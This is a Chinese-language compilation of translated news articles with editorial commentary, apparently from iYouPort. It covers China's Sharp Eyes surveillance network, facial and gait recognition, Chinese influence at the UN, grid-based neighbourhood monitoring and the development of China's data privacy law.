- 不要错过方法《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》
- 《4款最佳一次性手机号码应用：适用 Android & iPhone》
- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》

「图」

「图」

香港政府否认其智能监视相机和路灯柱使用面部识别技术。但是，隐私专家 Tsui 说：“这实际上取决于您是否信任机构。”对于马修（Matthew）来说，风险是真实而严峻的：“我们正在努力阻止香港变成另一个新疆。”

最终，随着技术的进步，即使是抗议者采取的严格自我保护措施也可能是不够的。

人工智能公司 Watrix 的首席执行官在其北京总部展示了最新的步态识别软件，该软件可以通过分析数千种步态来识别50米开外的人，甚至遮盖住脸或背对镜头也能识别真实身份。

- 《中国的步态识别监视正式铺设：”受美国的启发”》

该公司称，这项监视技术已经被中国各地的警察/维稳机构所采用。

毫不奇怪，对以人工智能为动力的监视技术的抵制正在全球加速。

但在中国重庆，店主李红梅只看到了监视技术 “积极的一面”。她说，

她在商店内安装了六个摄像机。几天之内，她就抓住了从货架上偷牛奶的小偷。

“中国人不在乎隐私。我们需要安全，”她说。“这些监视摄像机仍然是不够的。我们需要更多。”〇

不要错过 —— 我们去年完成的“完美隐身”系列，以及今年开始的“变得难以被追踪技巧”系列（尚未完成）：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

「图」

「图」

记得我们上传频道的那本书吗？见上图，您可以在这里下载：https://t.me/iyouport/6626

原文

“无盲点”中国老大哥的进军 - iYouPort

中国-半壁高堡奇人

“无所不在、完全联网、始终有效、可完全控制”

「图」

「图」

中国正在扩大其视频监控网络，到 2020 年在全国范围内实现“100%”覆盖，包括面部识别功能、和允许当局跟踪和交叉检查全国监视视频数据的数据库。

该计划被称为“锐眼”，代表了全球前所未有的视频监控能力的顶级推动。

Sharp Eyes，或中文的’雪亮’项目，是中国最新的大众视频监控计划。Sharp Eyes 代表了天网的大规模扩张，其目标更大。发改委表示，“无所不在、完全联网、始终有效、可完全控制”的视频监控系统覆盖必须“无盲点”、“人口稠密地区也没有盲点”：

- 重点公共区域视频监控覆盖率必须达到100%；
- 重点行业和领域重要部分的视频监控覆盖率必须达到100%；
- 住宅社区公共区域的视频监控覆盖率应达到100%；
- 新建和改造的摄像机高清比例必须达到100%。

发改委表示，在锐眼项目中，当局必须推广“现代技术，如数据挖掘、人脸识别、车牌识别、智能预警系统”。这与中国对人工智能和数据分析的强烈推动完全吻合。中国的互联网＋倡议是一项鼓励政府—工业联合体的国家计划，呼吁当局将面部识别功能纳入其“人工智能生态系统”。

- 关联：美国的同类东西“军事-工业联合体” 造成了什么样的后果《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》
- 政府和工业巨头的联手其结果是什么？《监视之恶（二）公私

监控伙伴关系》

中国主要面部识别软件公司 Sensetime 的副总裁最近告诉 NPR，“相机位于距离地面 2.8 米的地方。这意味着他们无法捕获人脸”。虽然情况大致如此，但 IPVM 在一个主要的中国城市获得了监控摄像的照片，这些照片显示距离目标已经足够近，具有很强的面部识别能力。

中国目前有三家面部识别创业公司，估值超过 10 亿美元—— 之前提到的 Sensetime 今年仅在几个月内就筹集了 12 亿美元，价值 45 亿美元。专家估计其大部分收入来自公安部门：

- Infinova 正在为其 Safe City / Sharp Eyes 项目推出 1080p 面部识别相机；
- 大华也在宣传面部识别相机，用于 Sharp Eyes 项目，包括 4K Ultra Starligh 模型；
- 广州白云区的当地政府表示其 Sharp Eye 面部识别系统正在由 200 万像素的子弹相机完成。当地政府还“巧妙地”使用了6 个“智能监控装置”，由前后子弹摄像头和 360 度半球摄像机组成，以便在人们进入禁区或爬栅栏时自动通知当局；
- 对于中国面部识别相机拍摄的图像质量的一个例子，深圳警方正在发布闯红灯者的照片。虽然大多数面孔模糊不清，但至少有一张照片包含了一张不模糊的脸；

有关面部识别摄像头的更多细节，海康威视已经在其中国网站上列出了几种面部对比和人脸检测效果。

中国国家控制的媒体几乎每天都在积极报道与 Sharp Eyes 相关的成就。但是，一些官员对所涉及的困难更为诚实：比如福建省的 Sharp Eyes 实施计划指出了监控标准“不统一”、“难以整合”，缺乏资金和专业人员难以正确安装系统的问题。

正式地说，Sharp Eyes 的实施速度很快。据中国媒体报道，截至 2016 年6月，全国 50 个城市正在试行 Sharp Eyes 项目。例如，临沂试点城市（人口 230 万）现在安装了 360,000 台摄像机。该系统目前正专注于将视频监控扩展到农村地区，此举已被 Sharp Eyes 纳入中央政府的“一号文件”，这是农村政策的最高级别指引。

China is expanding its video surveillance network to achieve “100%” nationwide coverage by 2020, including facial recognition capabilities and a database that allows authorities to track and cross-check video data across the country

原文

一个新的战场：在联合国，中国利用威胁和哄骗来促进其世界观 - iYouPort

中国-半壁高堡奇人

一些国家正在退缩

「图」

「图」

尽管中国在联合国拥有行使否决权的权力，但长期以来，中国一直不怎么愿意出头。自上一次单独行使这一权利以来，已经过去了20年。

但是，在联合国的后台，中国的外交官们正表现出更大的意愿，想要展示自己的权力，他们的西方同行也愿意反击。自冷战以来，联合国首次成为了国际秩序中各种观点竞争的战场。

去年10月，对中国大规模关押穆斯林少数民族维吾尔族人的争议表明，这场斗争已变得多么激烈。英国在谴责中国的人权记录方面发挥了不寻常的领导作用。

英国驻联合国代表 Karen Pierce 发表了一份由包括美国在内的22个国家签署的声明，呼吁联合国不受限制地进入中国最西部的新疆地区的拘留营。随后发生了一场外交争吵。中国外交官说服了几十个专制国家，包括中东地区大多数穆斯林国家，签署了一份反对声明，称赞中国在新疆的行动是 “打击恐怖主义和消除宗教极端主义的开明努力”。

- 这里有一本书，关于中国如何将以美国为首的全球反恐战争作为其对维吾尔人日益残酷镇压的国际掩护，以及这场针对未定义敌人的战争如何使全球各地的国家纷纷效仿以逼迫本土少数民族，并以 “打击恐怖主义” 的名义严厉镇压国内反对派。《The War on the Uyghurs: China’s Internal Campaign against a Muslim Minority》

中国的努力涵盖了广泛的联合国活动，从人权到与经济发展有关的几

乎所有事项。这些努力似乎有两个主要目的。

一是通过确保其他国家不批评中国共产党的统治，为中国共产党创造一个安全的空间。长期以来，中国对任何此类“干涉”都嗤之以鼻。其官员现在的反应越来越强硬。

中国的另一个目标是在联合国文件中注入与该国领导人习近平的语言相呼应的措辞。联合国安理会的一位外交官说，中国正试图“让中国政策成为联合国政策”。

中国似乎感觉到，特朗普对联合国等多边机构的反感给了它更大的回旋余地。自习近平2012年上任以来，中国大幅增加了在联合国的支出。中国现在是仅次于美国的第二大总预算和维和预算的捐助国。

中国还为其外交官在多个联合国机构中争取到了领导职位，包括总部设在罗马的粮食和农业组织（击败了美国支持的候选人，令许多人感到惊讶）。明年，该国将加入由三人组成的审计委员会，该委员会负责监督联合国的账目。

中国外交官担任的高级职务大多是在很少国家关心的机构中担任的无聊职务。但每一个职位都让中国控制了微小的官僚权力杠杆，以及施舍好处的能力。

“这些职位中的每一个都对某个地方的人有影响”，一位欧洲外交官说。当对中国认为重要的事务进行投票时，中国外交官通常会使用一种直截了当的交易方式 —— 为项目提供资金，或者威胁阻止。其他外交官说，这为中国赢得了影响力，可能还包括感情。

习先生的影响力显而易见。中国官员试图在联合国文件中插入的许多语言都使用了他的口号，如“合作共赢”和“人类命运共同体”（别碰中国，是潜在的情绪）。

连续三年来，中国外交官一直设法在有关阿富汗问题的决议中注入对习先生的“一带一路”倡议（BRI） —— 一个“双赢”的全球基础设施建设计划 —— 的有利提法。他们说服了包括秘书长安东尼奥·古特雷斯在内的联合国高级官员在演讲中称赞BRI是全球发展的典范。

2018年，中国说服日内瓦的联合国人权理事会认可其在这一领域“促进互利合作”的首选做法，即 避免批评。

这其中涉及的不仅仅是语言。2017年，中国试图成功削减一项旨在确保联合国所有机构和项目促进人权的工作经费。同年，时任联合国经

济和社会事务部负责人的中国外交官吴洪波将维吾尔族活动家多力坤·艾沙（Dolkun Isa）驱逐出联合国的一个论坛，艾沙先生是受邀代表，代表一个德国非政府组织参加该论坛（在美国和德国外交官的抗议下，艾沙先生最终被留下）。

吴洪波，他的职位要求他是无党派人士，后来在中国国家电视台夸耀他的行动。“我们要坚决捍卫祖国的利益”，他说。

反对中国更强硬的做法的声音可能会越来越大。“我认为他们做得太过分了，我认为在某个阶段人们会开始抵制”，这位安理会外交官说。但联合国的其他一些人并不认同这种观点。

非洲和中东的小国，其中许多是独裁国家，对美国在冷战后主导联合国的做法表示不满。世界上一个国家的外交官问道，为什么中国不应该反击呢？

这位特使说，当中国想要什么的时候，各国可能会受到来自中国的压力，但美国虽然没有那么直白，但也是交易性施压的。一些小国可能会欢迎有中美两个大国再次争霸。

“这有一定程度的虚伪性”，预防冲突的非政府组织国际危机小组的 Richard Gowan 说。“如果想象中国作为一个崛起的大国不希望自己在多边体系中获得更大的利益，那就太奇怪了。”现在很少有人会这样想象。〇

In the UN, China uses threats and cajolery to promote its worldview

原文

中国：为什么要重启笨拙低效的斯塔西式群众斗群众？ - iYouPort

中国-半壁高堡奇人

RFA 援引消息报道，共产党正在开发一种“新”的社会控制体系（原文如此，但它并不新，正相反是老旧的），使其能更好地控制公民的生活。该系统将社区划分为每户15-20个家庭的网格模式，并为每个网格提供一个专门的监测员，负责向居民委员会报告居民事务。

中国的居委会长期以来一直负责监督某一地区的普通老百姓的活动，但该报道说，新的网格管理制度将使共产党更加密切地管理老百姓的日常生活，并在早期阶段报告可能存在的“异议”——所谓的“隐患”涉及居民生活、政治观点和投诉的所有方面。

消息指““去年11月，中国官媒报道说，浙江省东部的一些街区已经招募电网员工，每月提供5000元人民币（美元792美元）的薪水”。

该消息的一部分来自援引官媒报道，也就是说消息本身有明显宣传目的。我们或许需要考虑它究竟意味着什么？是当局觉得人脸识别技术、大规模拦截系统、预测犯罪系统都无法让老百姓感受到切实的恐惧，才转而宣传这种石器时代的斯塔西套路？还是上述那些技术在中国并没有令当权者“满意”？

理论上，这种石器时代的群众斗群众方法并不是真正有效的，相比技术来说，它更依赖于人，而人是最不稳定的、多变的、难以掌握的，与共产党政府的全面掌握之基本欲求不符。斯塔西当年是因为没有这些高侵入性的监控技术，才会依赖政治审查的所谓“合格对象”，而如今，中国当局在高调宣传高科技监控的同时还要重新宣传群众斗群众，则意味深长。

其实包括“朝阳群众”和“负责举报的大V”等等相关宣传，都是同样的性质。有人认为是“双重恐吓”，但从客观角度上说，双重恐吓并没有必要，多此一举。因为技术开发本身已经耗资巨大，而这些举报人、监控网点负责人都是花钱买的——月薪¥5000（如上述显示），除非北京的维稳经费丰足——也就是说，曾经被很多人相信的“经费枯

竭”之推断不实。也或者消息中一些细节不属实——仅属于宣传。

盲点过多，我们只能呼吁更为深入的调查。

假设“双重恐吓”属实，则很有可能就此证实我们一直以来的担心，即中国社会大众直到如今完全意识不到科技监控老大哥的邪恶——对隐私前所未有的入侵，其证据包括并不限于民间投资人对 AI 监控技术公司的垂涎、民间技术人士对此类助纣为虐之产业的谋职追求等等。这将是比当局的“复古风”更为可怕的反抗障碍。

原文

中国5G：好莱坞大片的滑稽场景 - iYouPort

中国-半壁高堡奇人关于中国社会

我们对这篇文章的表述感觉有点生气。它只有两个部分是正确的：故事的背景，以及结尾的暗示。其余部分多处片面甚至错误。你能发现这些问题吗？

「图」

「图」

在一个让人想起好莱坞大片预告片的场景中，一名中国警察戴着一副未来派的面部识别太阳镜。他用这幅眼镜在上海人民广场地铁站扫描每一位路人。

不久，他瞄准了一个面部伪装者，并开始追逐他 —— 他的伪装可能会愚弄人类的眼睛，但是没有骗过技术。

在这里看到视频：

该视频是国有电信巨头中国移动的新5G网络的广告。

剪辑结尾处的普通话配音没有直接支持面部识别，但它确实夸耀**5G**的速度足以使所谓的“智能城市成为可能” —— 尤其是对监视的支持（原文中没有最后这句话）。

关联：《全球哪些国家最热衷所谓的智能城市？美国巨头如何发明了一个虚伪的概念以令大规模监视合理化？》

5G的用处可以随处可见，为什么官方的宣传片要定位在监视这个角度上呢？想想看？是谁最期待5G？（原文中没有这段话）

世界各地的人们正在努力应对面部识别的威胁。本月早些时候，警用面部识别在旧金山被正式禁止。国会最近举行了关于该技术之陷阱的听证会。（文章至少没有提到《纽约市警察局滥用面部识别技术篡改嫌疑人图像》《禁止面部识别是否真的可能做到保护隐私》 《美国如

何出口高端监控技术在专制国家制造灾难》等等）

与此同时，英国威尔士一名男子抱怨当局以面部识别方式侵犯了他的隐私，促使警方竭力捍卫他们所谓的有价值的预防犯罪工具。（这点暗示是正确的，英国是全球监视技术使用最密集的国家，英国的活动家也是抵抗监视最积极的人群）

与中国对该技术的使用相比，这一切都显得苍白无力。批评者指责中国政府在压制维吾尔少数民族时使用这种技术，专家们挖掘了大量证据来支持这些说法。

还有人担心面部识别会在全国范围内被滥用。配备这项技术的摄像机已经分布在大多数中国主要城市的街道。

许多西方人似乎都对这种广泛的国家监视感到震惊，但很多中国人对其不断增长的普遍性“表示欢迎”（原文如此，我们也不知道该报道为什么要这样说）。

“纽约时报”中文专栏中写道，“中国的许多人似乎对监控网络承诺的人身安全感到高兴。很久以前，我们的思维方式就是把安全和自由视为非此即彼的选项。”（看起来是个人意见，并没有调查报告支持这一说法。**IYP**的读者大多是反监视立场的鉴定捍卫者，我们反对无视他们的存在的意见）

新加坡国立大学李光耀公共政策学院的副教授 Alfred Wu 回应了这种情绪。他说，“人们最关心的是中国的效率和秩序。他们并不真正关心所谓的隐私。”（再一次，片面）

隐私对于中国移动广告中的警察来说当然不是最重要的，他们在调查嫌疑人并在拥挤的上海地铁附近追逐他，同时其过程中扫描了无数路人的面孔。

看过该广告的一位中国观众 Fan Popo 说，他不禁对这部影片的制作效果感到“印象深刻”。

任何熟悉他的作品的人都会对他的赞赏态度感到震惊。毕竟，他是一位以向权力说真话而闻名的电影制片人。

2015年，当他的LGBT主题纪录片“Mama Rainbow”被审查时，他不断挑战法律以抵制中国的国家媒体监管机构。

虽然他喜欢这个广告拍摄的质量，但是他也对该广告背后的主题感到

不安，他说：“这是一个精心制作的宣传，宣传面部识别如何有助于改善社会，如果你不接受它，你就会放跑坏人。”（这篇报道明显选取了非技术领域的中国名人做采访。作为影视工作者，Fan Popo 首先注意到该广告片的拍摄手法而非其呈现的技术性质，这并不令人惊讶；并且 **Fan Popo** 并没有明确支持监控，该报道倾向于暗示“中国人不重视隐私”，但这一引用是失败的）

Wu 说，该广告“强调面部识别如何能够抓住罪犯只不过是强行的正当性。正义不是这种监视的意图 —— 它是自上而下控制的副产品。“

然而，当他们想到面部识别时，普通市民可能不会感受到这种压力，面部识别也已成为消费者生活的一部分。华人越来越多地转向主动使用面部扫描以获得别致的便利，包括支付地铁和肯德基的费用。（我们必须说，用隐私换取便利的倾向在任何国家都不少，这就是为什么说《我们是大型监视社会的同谋》）

这种信任可能是错误的：最近的一项调查发现，在广泛使用的中文应用程序支付宝上，脸部扫描功能只有70%的准确率，远低于支付宝五年前制定的90%的准确性承诺。

但 Wu 说，这些问题并没有阻止许多中国用户，部分原因是该技术的便利和效率潜力很高。

中国科技谈话播客的联合主持人 Matthew Brennan 对于发表一揽子声明犹豫不决 —— 指出大量的国际化中国人（华裔移民）与西方人有共同的价值观和观点 —— 但他确实怀疑面部识别在中国因文化原因而被广泛接受。

他称中国是一个“低信任的社会，而西方社会往往是高度信任的。” Brennan 将这种差异归咎于猖獗的骗局，从街角到社交媒体，长期困扰着中国的不确定性。

奇怪的是，信任的缺乏通常不适用于政府高层或与这些官员有关的尖端科技公司。（这句话真的非常荒唐。虽然没有也难以做出确切的调查，但是中国读者应该能从日常经验中体会到，您的周边人真的是“通常”都信任政府吗？）

相反，这些高层通常被视为强有力的领导或创新的源泉，可以根除较低级别的地方腐败，包括诈骗者和不道德的邻居。

彭博社最近的一篇文章通过描述在一个中国城市试行的应用程序揭示

了这一悖论，通过这个应用程序，用户可以向当局举报其他公民的“可疑行为”。

彭博社说，“在中国以外的地方这种东西会被描绘成一个令人毛骨悚然的数字圆形监狱，这个所谓的社会信用系统网络在中国却被视为产生该国严重缺乏的东西的一种手段：这种东西就是信任。为此，永久监视和失去隐私是一个很小的代价。”（看起来彭博社和该报道真的没有调查过中国社会究竟有多少人对信用评分系统持反对意见）

“在商业方面，西方人倾向于相信他人，直到对方证明自己不值得信任，但在中国却恰恰相反，” Brennan 说。

“它源于人际关系的深厚传统，朋友会将你介绍给你可以信任的人”。他认为对于中国移动的5G广告来说，大多数中国观众都会“看到它发挥力量去追捕坏人。与此同时，在西方社会，我们说国家有太多的控制权，面部识别被用于消极目的。这归结为对信任的不同看法。”

尽管有这种深思熟虑，Brennan 对做出一揽子陈述犹豫不决是正确的。

看过中国移动广告的中国观众在中国微博上发表的细致评论并不缺乏。例如，一位评论者想知道，“如果坏人使用这种面部识别技术瞄准你怎么办？”；另一位人士写道，“5G正在迎来一个可怕的、赤裸裸的时期，与广大公众的权利相比，个人权利已经变得毫无意义。”

所有这些听起来都是愤世嫉俗的，另一位网友甚至更沮丧，写道：“这项技术正在为我们创造一个肉眼看不见的笼子。”

（最后这两段引用所暗示的问题是正确的：即 在中国最缺乏的并不是准确的认知，而是反抗精神。但是这一暗示显然与前文中的陈述相悖。于是我们认为这一暗示有可能并非文章作者的主旨，它只是一个引用带来的副效应。非常可惜，这才是唯一正确的对中国社会的描述）

- ○ 我们翻译这篇文章的目的不仅仅是反监视，因为这篇文章中出现的问题是主流媒体最常见的问题，即 为了作者的预定论点去搜集“证据”支持，仅选取支持性信息、忽略掉否定性信息，于是整体呈现片面的偏执。

我们在《什么是调查、什么是证据》 的分析中详细介绍过如何判断。

将中国社会描述为彻底的古怪、无知和愚蠢并无助于改变棘手的现实

状况；我们希望中国社会表现出积极的真实的反抗精神，而不是被挖苦性描述引发的自我实现预言效应所打败 ** This Ad Shows Just How Much Chinese Consumers Trust Facial Recognition Technology

原文

中国内部意外地寻求 "保护数据隐私" ，这意味着什么 - iYouPort

中国-半壁高堡奇人

这是MIT的文章，它选择了另一个侧面来看中国。它没有下结论，而是展示了一些现象，这些现象的确会显示中国社会对隐私的关注正在升温。但如果您是敏感人士、甚至只是简单地喜欢谈论政治，您需要知道，当局的任何做法或承诺，您都不应该信任

「图」

「图」

- 不要错过《以隐私为目的的斗争如何让你变成了监视的盟友》

2016年夏末，徐玉玉接到了一个承诺改变她人生的电话。

她被告知，她的高考成绩，为她赢得了南京邮电大学英语系的录取。徐玉玉住在山东临沂市，这是中国的一个沿海省份，位于北京的东南部。她来自一个贫穷的家庭，全家人只能依靠父亲的微薄收入。但她的父母辛辛苦苦为她攒下了学费，她的亲戚中很少有人上过大学。

几天后，徐玉玉又接到另一个电话，电话中的人告诉她还获得了奖学金。要想领取 2600元奖学金，她需要先将9900元的 “激活费” 打入大学账户。由于前几天才申请了助学贷款，她就把钱汇到了电话那头给她的号码上。

当晚，家人急忙报警，称被骗了。徐的父亲后来说，他最后悔的就是问警官，他们的钱还能不能拿回来。答案是 —— “可能拿不回来了”，这更加剧了徐父的悲痛。在回家的路上，徐心脏病突发，两天后在医院去世。

经调查确定，虽然第一个电话是真的，但第二个电话是骗子打来的，

他们花钱雇了一个黑客，挖到了徐的号码、录取情况和申请资助的情况。

对于太熟悉数据被盗的中国消费者来说，徐玉玉的死亡成了一个象征。她的死引发了全国性的呼声，要求加强数据隐私保护。

就在那件事发生的几个月前，欧盟通过了《通用数据保护条例》（GDPR），试图让欧洲公民控制自己的个人数据如何被使用。

与此同时，特朗普（Donald Trump）即将赢得美国总统大选，部分原因是其竞选活动广泛依赖选民数据。这些数据包括8700万个Facebook 账户的详细信息，由现在已经臭名昭著的剑桥分析公司非法获得。中国监管机构和法律学者密切关注着这些事件。

- 在这里看到《心理操纵的秘密："行为经济学"＋PR＝？》
- 《选举运动的数字化斗争: 2020 Presidential Race》
- 尤其是，您需要知道《您的所有个人数据都是政治数据：走向民主之前需要了解的事》

在西方，人们普遍认为中国政府和中国人民"都不关心隐私"。美国科技巨头们利用了这种所谓的冷漠，这些寡头认为严苛的隐私法会让他们在与中国企业的竞争中处于劣势。

在2018年剑桥分析公司丑闻发生后，Facebook 的CEO马克-扎克伯格（Mark Zuckerberg）在参议院的证词中敦促监管机构：不要对人脸识别等技术进行过于严厉的打击。他说，"我们仍然需要让美国公司能够在这些领域进行创新，否则我们就会落后于中国竞争对手和全球其他公司。"

- 对此的分析，见《人工智能新冷战—— AI和5G如何变成一场噩梦》

实际上，认为中国人不关心隐私的态度早已经过时了。在过去的几年里，中国政府为了加强消费者对数字经济的信任和参与，已经开始宣称实施在许多方面类似于美国和欧洲今天的隐私保护措施。

但是，即使政府加强了消费者的隐私，它也加大了国家监控的力度。它使用DNA样本和其他生物识别技术，如人脸和指纹识别，来监控全国各地的公民。它加强了互联网审查，并开发了一个所谓的"社会信用"评分系统，惩罚当局不喜欢的任何人。在疫情期间，它部署了一个"健康码"应用程序，根据人们携带冠状病毒的风险来决定谁可以

旅行。它还使用了一系列侵入性监视技术，对新疆西北部地区的穆斯林维吾尔人进行严厉地镇压。

- 关于中国的DNA监控，《美国公司如何帮助中国借助 DNA 数据追踪公民》
- 《中国面部识别巨人崛起的背后》
- 关于 “生物识别及对抗方法”
- 关于“社会信用” 评分系统 《“社会信用”监视：英国、中国、美国和日本》
- 关于疫情导致的反乌托邦升级《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 关于新疆《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》
- 《“整个系统旨在压制我们”：中国监视国家对世界意味着什么》

耶鲁大学和华盛顿特区智库 “新美国” 的中国学者 Samm Sacks 表示，这种矛盾已经成为中国新兴数据隐私制度的一个决定性特征。它提出了一个问题：一个系统能不能承受强大的消费者隐私保护，且几乎不会打扰政府的窥视？这个问题的答案不仅影响到中国。中国科技公司的足迹已经越来越遍布全球，世界各地的监管机构都在关注中国的政策决定。在下面看到报告：

- 《图解中国科技巨头—半壁“高堡奇人”》

2000年11月，可以说是中国现代监控国家的诞生。当月，监督日常执法的政府机构 —— 公安部在北京的一次展会上宣布了一个新项目。该机构设想建立一个集中式的国家监视系统，利用最新技术整合物理和数字监控。该项目被命名为 “金盾”。

美国思科公司、芬兰电信巨头诺基亚公司和加拿大北电网络公司等西方公司急于捞钱，与中国公安部在所谓的 “金盾” 监视项目的不同部分进行合作。这些西方公司帮助建立了一个全国性的数据库，用于存储所有中国成年人的信息，并开发了一个先进的系统来控制互联网上的信息流 —— 这就是后来的 **“GFW”**。

- 关于 “作恶者：谁在帮中国”

事实上，这个大规模监视系统中所涉及的大部分设备在美国已经实现了标准化，使监控工作变得更加容易，这是1994年美国的《通信协助

执法法案 CALEA》的结果。

- 执法为什么依赖监视？“情报主导型警务” 的概念是英国最先发明的，而通过监视每个人的一举一动形成针对大众的行为监控和分析，这种做法是美国创立的并流行全球，即 监视资本主义的起源。现在已经在中国 “发扬光大” …《警察情报中心如何跟踪抗议活动：通过BLM（1）》

尽管有了标准化的设备，但所谓的金盾监视项目还是受到中国政府内部数据孤岛和地盘争夺战的影响。

随着时间的推移，中国公安部对一个单一的、统一的系统的追求变成了两个独立的业务：一个是专门收集和存储信息的监控和数据库系统，另一个是约40个政府部门参与的社会信用评分系统。

当人们屡次做出政府不喜欢的事时 —— 从乱穿马路到参与商业腐败 —— 他们的社会信用分数就会下降，并可能被阻止购买火车票和飞机票或申请抵押贷款。更多被惩罚的 “罪行” 见《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》。

就在公安部公布金盾监视工程的那一年，洪延庆（音）考入了北京的警察大学。但经过7年的训练，拿到了学士和硕士学位后，洪延庆开始对当警察产生了二心。他转而申请出国留学。2007年秋天，他来到荷兰，开始攻读由中国政府批准并资助的国际人权法博士学位。

在接下来的四年里，他通过博士研究和在国际组织的一系列实习，熟悉了西方的法律实践。他曾在国际劳工组织从事全球工作场所歧视法的研究，在世界卫生组织从事中国道路安全的研究。

“在西方，这是一种非常法制化的文化 —— 这真的让我印象深刻。人们似乎经常上法庭”，他说。“例如，对于人权法，大部分的教科书都是关于法院解决人权问题的重要案例。”

洪认为这种做法效率奇低。他认为诉诸法庭是弥补法律缺陷的最后手段，而不是当初建立法律的主要工具。他认为，与美国那种通过胡乱积累判例法而拼凑起来的制度相比，经过更全面和更深思熟虑的立法会取得更好的结果。

毕业后，他带着这些想法在2012年习近平登上国家主席宝座的前夕回到北京。洪曾在联合国开发计划署工作，后来在中国最大的官方报纸《人民日报》当记者，该报为政府所有。

习近平开始迅速扩大政府审查的范围。有影响力的评论员，或者说“大V” —— 因其在社交媒体上的验证账号而得名 —— 已经习惯于批评和嘲讽中共；2013年秋天，中共以“恶意造谣”为由逮捕了数百名微博用户，并在国家电视台上对一名特别有影响力的微博用户进行了“认罪”仪式，以儆效尤。

这一刻，标志着一个新的审查时代的开始。第二年，“中国网络空间管理局”成立。这个新的中央机构负责一切涉及互联网监管的事务，包括所谓的国家安全、媒体和言论审查、以及数据保护。洪那时离开了《人民日报》，加入该机构的国际事务部。他代表该机构出席联合国和其他全球机构的会议，并与其他国家政府开展“网络安全”合作。

到2015年7月，中国的这个网络空间管理局发布了第一部法律草案。2017年6月生效的《网络安全法》要求企业在收集个人信息时必须征得人们的同意。同时，它通过 **禁止匿名用户** 也就是全面实名制，加强了互联网审查 —— 这一规定通过政府定期检查互联网服务提供商的数据来执行。

2016年春天，洪延庆想重返学术界，但机构要求他留下。《网络安全法》曾刻意对个人数据保护的监管模糊不清，但消费者数据泄露和被盗已经达到了难以忍受的程度。

中国互联网协会2016年的一项研究发现，84%的受访者曾遭受过至少一些数据泄露，包括电话号码、地址、和银行账户信息。这正促使人们对需要获取个人信息的数字服务提供商越来越不信任，比如打车、送餐和金融应用。徐玉玉的死亡将这一状况推向了高峰。

中国政府担心这种情绪会削弱对数字经济的参与，而数字经济已经成为中国支撑国家经济增长战略的核心部分 —— 这也是为什么IYP一开始便认为所谓的“地摊经济”是个骗局，监视资本主义才是经济支柱，要维护这个支柱就需要将更多人更长时间地留在互联网上。电商和社交媒体是其中的关键。

GDPR的出现也让中国政府意识到，中国科技巨头要想在海外扩张，就必须符合全球隐私规范。

洪延庆被安排负责一个新的特别工作组，该工作组将编写一份个人信息保护规范（PIPS），以帮助解决这些挑战。该文件虽然不具约束力，但将告诉公司监管机构打算如何实施《网络安全法》。政府希望在这个过程中，能够促使他们自行采用新的数据保护规范。

洪的工作小组开始将他们能找到的所有相关文件翻译成中文。他们翻译了经济合作与发展组织及其对应机构 —— 亚太经合组织发布的隐私指南；他们翻译了GDPR和加州消费者隐私法；他们甚至翻译了2012年白宫消费者隐私权利法案，该法案由奥巴马政府提出，但是，从未成为法律。同时，洪还定期与欧美数据保护监管机构和学者会面。

从文件和咨询中，一点一滴地形成了一个普遍的选择。“人们用很简单的语言说，’我们有欧洲模式和美国模式’”，洪回忆说。要知道，这两种方式在理念和实施上有很大的分歧。选择哪种模式成为中国这个工作队的第一次辩论。

欧洲模式的核心思想是，人们有保护其数据的基本权利。GDPR要求数据收集者（如公司）承担举证责任，证明他们为什么需要数据。相比之下，美国模式则是行业优先于消费者 —— 企业自行定义什么是合理的数据收集；消费者只能选择是否接受该企业的数据收集。美国有关数据保护的法律也远比欧洲零碎，由部门监管机构和具体州分担。

- 这就是为什么欧洲要离开与美国的合作，部分原因，见《从斯诺登到中国 ...》

「图」

「图」

当时，由于没有一部中央法律或单一机构负责数据保护，中国的模式更接近美国的模式。不过，这个工作组认为欧洲的做法很有说服力。“欧洲的规则结构、整个体系更加清晰”，洪说。

但是，这个工作组的大部分成员都是来自中国科技巨头的代表，如百度、阿里巴巴和华为，和美国寡头一样，他们也认为 **GDPR** 的限制性太强。所以他们采用了它的大体笔触 —— 包括对数据收集的限制以及对数据存储和数据删除的要求，然后放宽了一些语言。

例如，GDPR的数据最小化原则认为，只有必要的数据才应该被收集，以换取服务。中国的 PIPS 则为收集与所提供服务相关的其他数据留有余地。

PIPS 于2018年5月生效，同月 GDPR 终于生效。但当中国官员看着美国因 Facebook 和剑桥分析公司丑闻而发生的动荡时，他们意识到，

一个不具约束力的协议是不够的。

中国的《网络安全法》没有一个强有力的机制来执行数据保护。监管机构只能对违规者处以最高100万元（14万美元）的罚款，对于大公司来说，这个数额简直太毛毛雨了。

不久之后，中国最高立法机构 —— 全国人民代表大会决定，在目前的五年立法期内开始起草《个人信息保护法》，该法将于2023年结束。该法将加强数据保护条款，规定更严厉的惩罚措施，并有可能建立一个新的执法机构。

剑桥分析公司丑闻之后，洪说："政府机构明白，'如果你不能真正落实或执行这些隐私规则，那么你可能会看到重大丑闻，甚至影响到政治事物。"

当地警方对徐玉玉的死因进行调查，最终确定了给她打电话的骗子。这是一个七人团伙，他们利用非法获取的个人信息，骗取了很多其他受害者的56万余元。法院判决，徐玉玉的死亡是由于家庭积蓄丢失的压力直接导致的。正因为如此，加上这个骗子还参与策划了其他数万个诈骗电话的实施，22岁的诈骗组织头目陈文辉被判处无期徒刑。其他人被判处3至15年徒刑。

「图」

「图」

